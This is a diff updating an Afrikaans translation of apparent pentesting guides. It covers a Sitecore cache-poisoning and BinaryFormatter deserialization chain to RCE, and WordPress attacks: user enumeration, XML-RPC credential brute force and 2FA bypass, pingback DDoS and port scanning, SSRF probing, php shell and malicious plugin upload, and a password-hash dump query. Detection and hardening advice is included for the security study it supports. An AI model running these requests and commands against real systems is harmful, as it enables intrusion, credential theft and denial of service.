 __PARAMETERS=AddToCache("/layouts/Sample+Sublayout.ascx_%23lang:EN_%23login:False_%23qs:_%23index","<html>…attacker HTML…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
 ```
-## Enumerering van cacheable components en “vary by” dimensies
+## Enumerering van cacheable items en “vary by” dimensies
 
-As die ItemService anoniem (mis)blootgestel is, kan jy cacheable components opnoem om presiese sleutels af te lei.
+As die ItemService (mis)blootgestel is anoniem, kan jy cacheable komponente opnoem om presiese sleutels af te lei.
 
 Vinnige probe:
 ```
@@ -104,17 +104,17 @@ GET /sitecore/api/ssc/item
 // 404 Sitecore error body → exposed (anonymous)
 // 403 → blocked/auth required
 ```
-Lys van cachebare items en vlae:
+Lys cachebare items en vlae:
 ```
 GET /sitecore/api/ssc/item/search?term=layouts&fields=&page=0&pagesize=100
 ```
-Kyk na velde soos Path, Cacheable, VaryByDevice, VaryByLogin, ClearOnIndexUpdate. Toestelname kan geënumeer word via:
+Soek na velde soos Path, Cacheable, VaryByDevice, VaryByLogin, ClearOnIndexUpdate. Toestelname kan geënumeer word via:
 ```
 GET /sitecore/api/ssc/item/search?term=_templatename:Device&fields=ItemName&page=0&pagesize=100
 ```
-### Side‑channel enumeration under restricted identities (CVE-2025-53694)
+### Side‑channel enumeration onder beperkte identiteite (CVE-2025-53694)
 
-Selfs wanneer ItemService 'n beperkte account naboots (bv. ServicesAPI) en returns an empty Results array, kan TotalCount steeds pre‑ACL Solr hits weerspieël. Jy kan brute‑force item groups/ids met wildcards doen en kyk hoe TotalCount konvergeer om interne inhoud en toestelle in kaart te bring:
+Selfs wanneer ItemService as 'n beperkte account optree (e.g., ServicesAPI) en 'n leë Results array teruggee, kan TotalCount steeds pre‑ACL Solr hits weerspieël. Jy kan brute‑force item groups/ids met wildcards en kyk hoe TotalCount konvergeer om interne inhoud en devices in kaart te bring:
 ```
 GET /sitecore/api/ssc/item/search?term=%2B_templatename:Device;%2B_group:a*&fields=&page=0&pagesize=100&includeStandardTemplateFields=true
 → "TotalCount": 3
@@ -131,14 +131,14 @@ Sink:
 byte[] b = Convert.FromBase64String(data);
 return new BinaryFormatter().Deserialize(new MemoryStream(b));
 ```
-Toeganklik via die convertToRuntimeHtml pipeline-stap ConvertWebControls, wat na 'n element met id {iframeId}_inner soek, dit base64 decodeer + deserialiseer en dan die resulterende string in die HTML invoeg:
+Bereikbaar via die convertToRuntimeHtml pipeline step ConvertWebControls, wat soek na 'n element met id {iframeId}_inner en base64 decodeer + deserialiseer, en dan die resulterende string in die HTML invoeg:
 ```csharp
 HtmlNode inner = doc.SelectSingleNode("//*[@id='"+id+"_inner']");
 string text2   = inner?.GetAttributeValue("value", "");
 if (text2.Length > 0)
 htmlNode2.InnerHtml = StringUtil.GetString(Sitecore.Convert.Base64ToObject(text2) as string);
 ```
-Trigger (geauthentiseer, Content Editor-regte). Die FixHtml-dialoog roep convertToRuntimeHtml aan. End‑to‑end sonder UI-klikke:
+Trigger (geauthentiseer, Content Editor regte). Die FixHtml dialoog roep convertToRuntimeHtml aan. Eind-tot-eind sonder UI clicks:
 ```
 // 1) Start Content Editor
 GET /sitecore/shell/Applications/Content%20Editor.aspx
@@ -159,8 +159,7 @@ __PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
 // 4) Visit FixHtml to trigger ConvertWebControls → deserialization
 GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...
 ```
-Gadget generation: gebruik ysoserial.net / YSoNet met BinaryFormatter om 'n base64 payload te produseer wat 'n string teruggee. Die string se inhoud word in die HTML geskryf deur ConvertWebControls nadat deserialiserings‑side‑effekte uitgevoer is.
+Gadget generation: use ysoserial.net / YSoNet with BinaryFormatter to produce a base64 payload returning a string. Die string se inhoud word in die HTML geskryf deur ConvertWebControls nadat deserialisering‑side‑effekte uitgevoer is.
-
 
 {{#ref}}
 ../../../pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md
@@ -168,22 +167,22 @@ Gadget generation: gebruik ysoserial.net / YSoNet met BinaryFormatter om 'n base
 
 ## Volledige ketting
 
-1) Pre‑auth aanvaller vergiftig HtmlCache met arbitraire HTML deur reflectief WebControl.AddToCache aan te roep via XAML AjaxScriptManager.  
+1) Pre‑auth aanvaller vergiftig HtmlCache met arbitrêre HTML deur reflectief WebControl.AddToCache aan te roep via XAML AjaxScriptManager.  
-2) Die vergiftigde HTML bedien JavaScript wat 'n geauthentiseerde Content Editor‑gebruiker deur die FixHtml‑vloei aanspoor.  
+2) Vergiftigde HTML dien JavaScript op wat ’n geauthentiseerde Content Editor‑gebruiker deur die FixHtml‑vloei aanmoedig.  
-3) Die FixHtml‑blad aktiveer convertToRuntimeHtml → ConvertWebControls, wat die deur die aanvaller beheerde base64 met BinaryFormatter deserialiseer → RCE onder die Sitecore app pool‑identiteit.
+3) Die FixHtml‑bladsy aktiveer convertToRuntimeHtml → ConvertWebControls, wat deur die aanvaller beheerde base64 via BinaryFormatter deserialiseer → RCE onder die Sitecore app pool‑identiteit.
 
 ## Opsporing
 
 - Pre‑auth XAML: versoeke na `/-/xaml/Sitecore.Shell.Xaml.WebControl` met `__ISEVENT=1`, verdagte `__SOURCE` en `__PARAMETERS=AddToCache(...)`.  
-- ItemService‑sondeering: pieke van `/sitecore/api/ssc` wildcard‑navrae, groot `TotalCount` met leë `Results`.  
+- ItemService probing: pieke in `/sitecore/api/ssc` wildcard‑navrae, ’n groot `TotalCount` met leë `Results`.  
-- Deserialiseringspogings: `EditHtml.aspx` gevolg deur `FixHtml.aspx?hdl=...` en abnormaal groot base64 in HTML‑velde.
+- Deserialisering‑pogings: `EditHtml.aspx` gevolg deur `FixHtml.aspx?hdl=...` en ongewone groot base64 in HTML‑velde.
 
 ## Verharding
 
-- Pas Sitecore‑patches KB1003667 en KB1003734 toe; beperk/deaktiveer pre‑auth XAML handlers of voeg streng validering by; moniteer en beperk versoektempo na `/-/xaml/`.  
+- Pas Sitecore‑patches KB1003667 en KB1003734 toe; gate/deaktiveer pre‑auth XAML‑handelaars of voeg streng validering by; moniteer en rate‑limit `/-/xaml/`.  
-- Verwyder/vervang BinaryFormatter; beperk toegang tot convertToRuntimeHtml of handhaaf sterk bediener‑kant validering van HTML‑redigeer vloei.  
+- Verwyder/vervang BinaryFormatter; beperk toegang tot convertToRuntimeHtml of dwing sterk bediener‑kant validering van HTML‑bewerkingsvloei af.  
-- Beperk toegang tot `/sitecore/api/ssc` tot loopback of geauthentiseerde rolle; vermy impersonation‑patrone wat leak `TotalCount`‑gebaseerde side channels.  
+- Sluit `/sitecore/api/ssc` af tot loopback of geauthentikeerde rolle; vermy impersonation patterns wat `TotalCount`‑gebaseerde side channels leak.  
-- Handhaaf MFA/least privilege vir Content Editor‑gebruikers; hersien CSP om die impak van JS‑sturing deur cache poisoning te verminder.
+- Handhaaf MFA/least privilege vir Content Editor‑gebruikers; hersien CSP om die JS‑steering‑impak van cache poisoning te verminder.
 
 ## Verwysings
 

src/network-services-pentesting/pentesting-web/wordpress.md

@@ -56,7 +56,7 @@ curl https://victim.com/ | grep 'content="WordPress'
 
 ![](<../../images/image (1111).png>)
 
-- CSS link-lêers
+- CSS-lêers
 
 ![](<../../images/image (533).png>)
 
@@ -64,7 +64,7 @@ curl https://victim.com/ | grep 'content="WordPress'
 
 ![](<../../images/image (524).png>)
 
-### Kry Inproppe
+### Kry inproppe
 ```bash
 curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
 ```
@@ -72,7 +72,7 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp
 ```bash
 curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
 ```
-### Haal weergawes oor die algemeen uit
+### Ekstraheer weergawes in die algemeen
 ```bash
 curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
 
@@ -81,33 +81,33 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp
 
 ### Plugins and Themes
 
-Jy sal waarskynlik nie al die Plugins and Themes kan vind nie. Om almal te ontdek, sal jy moet **actively Brute Force a list of Plugins and Themes** (hopelik is daar vir ons geoutomatiseerde gereedskap wat hierdie lyste bevat).
+Jy sal waarskynlik nie al die Plugins and Themes kan vind nie. Om hulle almal te ontdek, sal jy **actively Brute Force a list of Plugins and Themes** moet uitvoer (hopelik is daar geoutomatiseerde gereedskap wat hierdie lyste bevat).
 
 ### Gebruikers
 
-- **ID Brute:** Jy kry geldige gebruikers van 'n WordPress-site deur gebruikers-ID's te Brute Forcing:
+- **ID Brute:** Jy kry geldige gebruikers van 'n WordPress-webwerf deur gebruikers-ID's te Brute Forcing:
 ```bash
 curl -s -I -X GET http://blog.example.com/?author=1
 ```
-As die antwoorde **200** of **30X** is, beteken dit dat die id **geldig** is. As die antwoord **400** is, is die id **ongeldig**.
+Indien die antwoorde **200** of **30X** is, beteken dit dat die **id** **geldig** is. As die antwoord **400** is, is die **id** **ongeldig**.
 
-- **wp-json:** Jy kan ook probeer om inligting oor gebruikers te kry deur navrae te stuur:
+- **wp-json:** Jy kan ook probeer om inligting oor die gebruikers te kry deur navraag te doen:
 ```bash
 curl http://blog.example.com/wp-json/wp/v2/users
 ```
-Nog 'n `/wp-json/` eindpunt wat sekere inligting oor gebruikers kan openbaar, is:
+Nog 'n `/wp-json/` endpoint wat sekere inligting oor gebruikers kan openbaar, is:
 ```bash
 curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
 ```
-Let daarop dat hierdie endpoint slegs gebruikers openbaar wat 'n pos geplaas het. **Slegs inligting oor gebruikers wat hierdie funksie geaktiveer het, sal verskaf word**.
+Let wel dat hierdie endpoint slegs gebruikers openbaar wat 'n pos gemaak het. **Slegs inligting oor gebruikers wat hierdie funksie geaktiveer het, sal verskaf word**.
 
-Neem ook kennis dat **/wp-json/wp/v2/pages** IP addresses kan leak.
+Let ook daarop dat **/wp-json/wp/v2/pages** IP-adresse kan leak.
 
-- **Login username enumeration**: Wanneer jy aanmeld by **`/wp-login.php`** is die **boodskap** **verskillend**, wat aandui of die **username bestaan of nie**.
+- **Login username enumeration**: Wanneer jy by **`/wp-login.php`** aanmeld, is die **boodskap** **anders** en dui dit aan of die **gebruikersnaam bestaan of nie**.
 
 ### XML-RPC
 
-As `xml-rpc.php` aktief is kan jy credentials brute-force uitvoer of dit gebruik om DoS attacks teen ander hulpbronne te loods. (Jy kan hierdie proses byvoorbeeld outomatiseer [using this](https://github.com/relarizky/wpxploit)).
+As `xml-rpc.php` aktief is, kan jy credentials brute-force uitvoer of dit gebruik om DoS-aanvalle op ander hulpbronne te loods. (Jy kan hierdie proses[ using this](https://github.com/relarizky/wpxploit) byvoorbeeld outomatiseer).
 
 Om te sien of dit aktief is, probeer toegang tot _**/xmlrpc.php**_ kry en stuur hierdie versoek:
 
@@ -122,7 +122,7 @@ Om te sien of dit aktief is, probeer toegang tot _**/xmlrpc.php**_ kry en stuur
 
 **Credentials Bruteforce**
 
-**`wp.getUserBlogs`**, **`wp.getCategories`** of **`metaWeblog.getUsersBlogs`** is 'n paar van die metodes wat gebruik kan word om credentials te brute-force. As jy enige van hulle vind, kan jy iets soos stuur:
+**`wp.getUserBlogs`**, **`wp.getCategories`** or **`metaWeblog.getUsersBlogs`** is 'n paar van die metodes wat gebruik kan word om brute-force credentials te bekom. As jy enige van hulle kan vind, kan jy iets soos die volgende stuur:
 ```html
 <methodCall>
 <methodName>wp.getUsersBlogs</methodName>
@@ -132,13 +132,13 @@ Om te sien of dit aktief is, probeer toegang tot _**/xmlrpc.php**_ kry en stuur
 </params>
 </methodCall>
 ```
-Die boodskap _"Verkeerde gebruikersnaam of wagwoord"_ binne 'n 200-kode response moet verskyn as die credentials nie geldig is nie.
+Die boodskap _"Incorrect username or password"_ binne 'n 200 code response moet verskyn as die credentials nie geldig is nie.
 
 ![](<../../images/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
 
 ![](<../../images/image (721).png>)
 
-Met die korrekte credentials kan jy 'n lêer upload. In die response sal die pad verskyn ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
+Met die korrekte credentials kan jy 'n lêer oplaai. In die response sal die pad verskyn ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
 ```html
 <?xml version='1.0' encoding='utf-8'?>
 <methodCall>
@@ -168,18 +168,17 @@ Met die korrekte credentials kan jy 'n lêer upload. In die response sal die pad
 </params>
 </methodCall>
 ```
-Daar is ook 'n **vinnig(er) manier** om brute-force credentials te probeer deur **`system.multicall`** te gebruik aangesien jy verskeie credentials in dieselfde versoek kan probeer:
+Also there is a **faster way** to brute-force credentials using **`system.multicall`** as you can try several credentials on the same request:
 
 <figure><img src="../../images/image (628).png" alt=""><figcaption></figcaption></figure>
 
 **Bypass 2FA**
 
-Hierdie metode is bedoel vir programme en nie vir mense nie, en is oud, daarom ondersteun dit nie 2FA nie. Dus, as jy geldige creds het maar die hooftoegang is beskerm deur 2FA, **mag jy in staat wees om xmlrpc.php te misbruik om met daardie creds in te teken en 2FA te omseil**. Let daarop dat jy nie al die aksies kan uitvoer wat deur die console moontlik is nie, maar jy mag steeds na RCE kan kom soos Ippsec dit verduidelik in [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
+Hierdie metode is bedoel vir programme en nie vir mense nie, en is oud, daarom ondersteun dit nie 2FA nie. Dus, as jy geldige creds het maar die hooftoegang is beskerm deur 2FA, **mag jy in staat wees om xmlrpc.php te misbruik om met daardie creds in te log en 2FA te omseil**. Neem kennis dat jy nie al die aksies kan uitvoer wat jy via die console kan doen nie, maar jy mag steeds RCE bereik soos Ippsec in [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
 
 **DDoS or port scanning**
 
-If you can find the method _**pingback.ping**_ inside the list you can make the Wordpress send an arbitrary request to any host/port.\
+As jy die metode _**pingback.ping**_ in die lys kan vind, kan jy Wordpress laat 'n arbitrêre versoek na enige host/port stuur. Dit kan gebruik word om **duisende** Wordpress **sites** te laat **access** een **location** (sodat 'n **DDoS** op daardie plek veroorsaak word), of jy kan dit gebruik om Wordpress te laat **scan** 'n interne **network** (jy kan enige port aandui).
-This can be used to ask **thousands** of Wordpress **sites** to **access** one **location** (so a **DDoS** is caused in that location) or you can use it to make **Wordpress** lo **scan** some internal **network** (you can indicate any port).
 ```html
 <methodCall>
 <methodName>pingback.ping</methodName>
@@ -191,7 +190,7 @@ This can be used to ask **thousands** of Wordpress **sites** to **access** one *
 ```
 ![](../../images/1_JaUYIZF8ZjDGGB7ocsZC-g.png)
 
-As jy **faultCode** kry met 'n waarde **groter** as **0** (17), beteken dit die poort is oop.
+As jy **faultCode** kry met 'n waarde **groter** as **0** (17), beteken dit dat die poort oop is.
 
 Kyk na die gebruik van **`system.multicall`** in die vorige afdeling om te leer hoe om hierdie metode te misbruik om DDoS te veroorsaak.
 
@@ -209,15 +208,15 @@ Kyk na die gebruik van **`system.multicall`** in die vorige afdeling om te leer
 
 ### wp-cron.php DoS
 
-Hierdie lêer bestaan gewoonlik in die root van die Wordpress-site: **`/wp-cron.php`**\
+Hierdie lêer bestaan gewoonlik in die wortel van die Wordpress-webwerf: **`/wp-cron.php`**\
-Wanneer hierdie lêer **toeganklik** is, word 'n "**sware**" MySQL **query** uitgevoer, so dit kan deur **aanvallers** gebruik word om 'n **DoS** te **veroorsaak**.\
+Wanneer hierdie lêer **geakses** word, word 'n "**swaar**" MySQL **query** uitgevoer, sodat dit deur **aanvallers** gebruik kan word om 'n **DoS** te **veroorsaak**.\
-Ook, standaard word `wp-cron.php` op elke bladlaai aangeroep (elke keer wanneer 'n kliënt 'n Wordpress-blad versoek), wat op hoë-verkeer werwe probleme (DoS) kan veroorsaak.
+Ook, standaard word die `wp-cron.php` by elke bladsylaai aangeroep (wanneer 'n kliënt enige Wordpress-bladsy versoek), wat op werwe met hoë verkeer probleme kan veroorsaak (DoS).
 
-Dit word aanbeveel om Wp-Cron te deaktiveer en 'n werklike cronjob binne die host te skep wat die nodige aksies op gereelde intervalle uitvoer (sonder om probleme te veroorsaak).
+Dit word aanbeveel om Wp-Cron te deaktiveer en 'n regte cronjob op die host te skep wat die nodige take met gereelde intervalle uitvoer (sonder om probleme te veroorsaak).
 
 ### /wp-json/oembed/1.0/proxy - SSRF
 
-Try to access _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ and the Worpress site may make a request to you.
+Probeer om toegang te kry tot _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ en die Wordpress-werf mag 'n versoek aan jou stuur.
 
 This is the response when it doesn't work:
 
@@ -230,24 +229,24 @@ This is the response when it doesn't work:
 https://github.com/t0gu/quickpress/blob/master/core/requests.go
 {{#endref}}
 
-Hierdie tool checks if the **methodName: pingback.ping** and for the path **/wp-json/oembed/1.0/proxy** and if exists, it tries to exploit them.
+Hierdie tool kontroleer of die **methodName: pingback.ping** en die pad **/wp-json/oembed/1.0/proxy** bestaan — as dit bestaan, probeer dit om dit te exploit.
 
-## Outomatiese Gereedskap
+## Outomatiese Tools
 ```bash
 cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
 wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
 #You can try to bruteforce the admin user using wpscan with "-U admin"
 ```
-## Kry toegang deur 'n bit oor te skryf
+## Kry toegang deur 'n bit te oorskryf
 
-Meer as 'n echte attack is dit 'n nuuskierigheid. In die CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) kon jy 1 bit van enige wordpress-lêer flip. So kon jy die posisie `5389` van die lêer `/var/www/html/wp-includes/user.php` flip om die NOT (`!`) operasie te NOP.
+Meer 'n nuuskierigheid as 'n werklike aanval. In die CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) kon jy 1 bit van enige wordpress-lêer flip. Dus kon jy posisie `5389` van die lêer `/var/www/html/wp-includes/user.php` flip om die NOT (`!`) operasie te NOP.
 ```php
 if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
 return new WP_Error(
 ```
 ## **Paneel RCE**
 
-**Wysig 'n php van die tema wat gebruik word (admin credentials benodig)**
+**Aanpassing van 'n php-lêer van die tema wat gebruik word (admin credentials benodig)**
 
 Appearance → Theme Editor → 404 Template (aan die regterkant)
 
@@ -255,7 +254,7 @@ Verander die inhoud na 'n php shell:
 
 ![](<../../images/image (384).png>)
 
-Soek op die internet hoe jy daardie bygewerkte blad kan bereik. In hierdie geval moet jy hier toegang kry: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
+Soek op die internet hoe jy daardie bygewerkte bladsy kan bereik. In hierdie geval moet jy hier toegang kry: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
 
 ### MSF
 
@@ -263,14 +262,14 @@ Jy kan gebruik:
 ```bash
 use exploit/unix/webapp/wp_admin_shell_upload
 ```
-om 'n sessie te kry.
+om 'n session te kry.
 
 ## Plugin RCE
 
 ### PHP plugin
 
-Dit kan moontlik wees om .php-lêers as 'n plugin op te laai.\
+Dit mag moontlik wees om .php-lêers as 'n plugin op te laai.\
-Skep jou php backdoor, byvoorbeeld:
+Skep jou php backdoor byvoorbeeld met:
 
 ![](<../../images/image (183).png>)
 
@@ -278,7 +277,7 @@ Voeg dan 'n nuwe plugin by:
 
 ![](<../../images/image (722).png>)
 
-Laai die plugin op en druk Install Now:
+Laai die plugin op en klik Install Now:
 
 ![](<../../images/image (249).png>)
 
@@ -286,44 +285,44 @@ Klik op Procced:
 
 ![](<../../images/image (70).png>)
 
-Dit sal waarskynlik niks doen nie, maar as jy na Media gaan, sal jy jou shell sien wat opgelaai is:
+Waarskynlik sal dit eintlik niks doen nie, maar as jy na Media gaan, sal jy jou shell sien wat opgelaai is:
 
 ![](<../../images/image (462).png>)
 
-Gaan daarheen en jy sal die URL sien om die reverse shell uit te voer:
+Maak dit oop en jy sal die URL sien om die reverse shell uit te voer:
 
 ![](<../../images/image (1006).png>)
 
-### Oplaai en aktiveer kwaadwillige plugin
+### Uploading and activating malicious plugin
 
-Hierdie metode behels die installasie van 'n kwaadwillige plugin wat bekend is as kwesbaar en wat uitgebuit kan word om 'n web shell te verkry. Hierdie proses word deur die WordPress dashboard uitgevoer soos volg:
+Hierdie metode behels die installasie van 'n kwaadwillige plugin wat bekend is as kwesbaar en wat uitgebuit kan word om 'n web shell te bekom. Hierdie proses word via die WordPress dashboard uitgevoer soos volg:
 
-1. **Plugin Acquisition**: Die plugin word verkry vanaf 'n bron soos Exploit DB, byvoorbeeld [**here**](https://www.exploit-db.com/exploits/36374).
+1. **Plugin Acquisition**: Die plugin word verkry vanaf 'n bron soos Exploit DB soos [**here**](https://www.exploit-db.com/exploits/36374).
 2. **Plugin Installation**:
-- Gaan na die WordPress dashboard, dan na `Dashboard > Plugins > Upload Plugin`.
+- Navigeer na die WordPress dashboard, gaan dan na `Dashboard > Plugins > Upload Plugin`.
 - Laai die zip-lêer van die afgelaaide plugin op.
-3. **Plugin Activation**: Sodra die plugin suksesvol geïnstalleer is, moet dit deur die dashboard geaktiveer word.
+3. **Plugin Activation**: Sodra die plugin suksesvol geïnstalleer is, moet dit via die dashboard geaktiveer word.
 4. **Exploitation**:
 - Met die plugin "reflex-gallery" geïnstalleer en geaktiveer, kan dit uitgebuit word aangesien dit bekend is as kwesbaar.
-- Die Metasploit framework bied 'n exploit vir hierdie kwesbaarheid. Deur die toepaslike module te laad en spesifieke opdragte uit te voer, kan 'n meterpreter session gevestig word wat ongemagtigde toegang tot die site gee.
+- Die Metasploit framework bied 'n exploit vir hierdie kwesbaarheid. Deur die toepaslike module te laai en spesifieke opdragte uit te voer, kan 'n meterpreter session gevestig word, wat ongemagtigde toegang tot die site verleen.
-- Daar word opgemerk dat dit net een van die vele metodes is om 'n WordPress site uit te buit.
+- Daar word opgemerk dat dit net een van die vele metodes is om 'n WordPress site uit te buiten.
 
-Die inhoud sluit visuele hulpmiddels in wat die stappe op die WordPress dashboard uitbeeld om die plugin te installeer en te aktiveer. Dit is egter belangrik om op te let dat die uitbuiting van kwesbaarhede op hierdie wyse onwettig en oneties is sonder behoorlike toestemming. Hierdie inligting moet verantwoordelik gebruik word en slegs in 'n wettige konteks, soos penetration testing met uitdruklike toestemming.
+Die inhoud bevat visuele hulpmiddels wat die stappe in die WordPress dashboard uitbeeld vir die installering en aktivering van die plugin. Dit is egter belangrik om te let dat die uitbuiting van kwesbaarhede op hierdie manier onwettig en oneties is sonder behoorlike toestemming. Hierdie inligting moet verantwoordelik gebruik word en slegs in 'n wettige konteks, soos penetration testing met uitdruklike toestemming.
 
 **For more detailed steps check:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
 
-## Van XSS na RCE
+## From XSS to RCE
 
-- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ is 'n script ontwerp om 'n **Cross-Site Scripting (XSS)** kwesbaarheid op te skaal na **Remote Code Execution (RCE)** of ander kritieke kwesbaarhede in WordPress. Vir meer info sien [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Dit bied **ondersteuning vir Wordpress Versions 6.X.X, 5.X.X and 4.X.X. and allows to:**
+- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ is 'n script ontwerp om 'n **Cross-Site Scripting (XSS)**-kwesbaarheid te eskaleer na **Remote Code Execution (RCE)** of ander kritieke kwesbaarhede in WordPress. Vir meer info kyk [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Dit bied **support for Wordpress Versions 6.X.X, 5.X.X and 4.X.X. and allows to:**
 - _**Privilege Escalation:**_ Skep 'n gebruiker in WordPress.
-- _**(RCE) Custom Plugin (backdoor) Upload:**_ Upload jou custom plugin (backdoor) na WordPress.
+- _**(RCE) Custom Plugin (backdoor) Upload:**_ Laai jou pasgemaakte plugin (backdoor) op na WordPress.
-- _**(RCE) Built-In Plugin Edit:**_ Edit Built-In Plugins in WordPress.
+- _**(RCE) Built-In Plugin Edit:**_ Redigeer ingeboude plugins in WordPress.
-- _**(RCE) Built-In Theme Edit:**_ Edit Built-In Themes in WordPress.
+- _**(RCE) Built-In Theme Edit:**_ Redigeer ingeboude temas in WordPress.
-- _**(Custom) Custom Exploits:**_ Custom Exploits vir Third-Party WordPress Plugins/Themes.
+- _**(Custom) Custom Exploits:**_ Pasgemaakte exploits vir derdeparty WordPress plugins/temas.
 
 ## Post Exploitation
 
-Haal gebruikersname en wagwoorde uit:
+Haal usernames en passwords uit:
 ```bash
 mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
 ```
@@ -335,21 +334,21 @@ mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE
 
 ### Aanvalsoppervlak
 
-Om te weet hoe 'n Wordpress plugin funksionaliteit kan blootstel, is noodsaaklik om kwesbaarhede daarin te vind. Jy kan sien hoe 'n plugin funksionaliteit kan blootstel in die volgende punte en 'n paar voorbeelde van kwesbare plugins in [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/).
+Om te weet hoe 'n Wordpress plugin funksionaliteit kan blootstel is noodsaaklik om kwesbaarhede in daardie funksionaliteit te vind. Jy kan sien hoe 'n plugin funksionaliteit kan blootstel in die volgende punte en 'n paar voorbeelde van kwesbare plugins in [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/).
 
 - **`wp_ajax`**
 
-Een van die maniere waarop 'n plugin funksies aan gebruikers blootstel is deur middel van AJAX handlers. Hierdie kan logic-, authorization- of authentication-bugs bevat. Boonop gebeur dit dikwels dat hierdie funksies beide authentication en authorization baseer op die bestaan van 'n Wordpress nonce wat **enige gebruiker wat authenticated is in die Wordpress instance moontlik het** (onafhanklik van hul rol).
+Een van die maniere waarop 'n plugin funksies aan gebruikers kan blootstel, is via AJAX handlers. Hierdie kan logika-, authorization- of authentication-bugs bevat. Boonop gebeur dit dikwels dat hierdie funksies beide die authentication en authorization baseer op die bestaan van 'n Wordpress nonce wat **enige gebruiker wat in die Wordpress instance geauthentiseer is** kan hê (ongeag hul rol).
 
 Dit is die funksies wat gebruik kan word om 'n funksie in 'n plugin bloot te stel:
 ```php
 add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
 add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
 ```
-**Die gebruik van `nopriv` maak die endpoint toeganklik vir enige gebruikers (selfs ongeauthentiseerde gebruikers).**
+**Die gebruik van `nopriv` maak die endpoint deur enigiemand toeganklik (selfs nie-geauthentiseerde gebruikers).**
 
 > [!CAUTION]
-> Boonop, as die funksie net die toestemming van die gebruiker nagaan met die funksie `wp_verify_nonce`, kontroleer hierdie funksie slegs of die gebruiker aangemeld is; dit kontroleer gewoonlik nie die rol van die gebruiker nie. Dus mag gebruikers met lae voorregte toegang hê tot hoë-voorregte aksies.
+> Verder, as die funksie net die autorisasie van die gebruiker met die funksie `wp_verify_nonce` kontroleer, kontroleer hierdie funksie net of die gebruiker ingeklok is; dit kontroleer gewoonlik nie die rol van die gebruiker nie. Dus kan gebruikers met laer voorregte toegang hê tot aksies wat hoër voorregte vereis.
 
 - **REST API**
 
@@ -365,19 +364,19 @@ $this->namespace, '/get/', array(
 ```
 Die `permission_callback` is 'n callback-funksie wat nagaan of 'n gegewe gebruiker gemagtig is om die API-metode aan te roep.
 
-**If the built-in `__return_true` function is used, it'll simply skip user permissions check.**
+**As die ingeboude `__return_true` funksie gebruik word, sal dit eenvoudig die gebruikerstoestemmingskontrole oorslaan.**
 
 - **Direkte toegang tot die php-lêer**
 
-Natuurlik gebruik Wordpress PHP en lêers binne plugins is direk vanaf die web toeganklik. Dus, as 'n plugin enige kwesbare funksionaliteit blootstel wat slegs deur toegang tot die lêer geaktiveer word, sal dit deur enige gebruiker uitgebuit kan word.
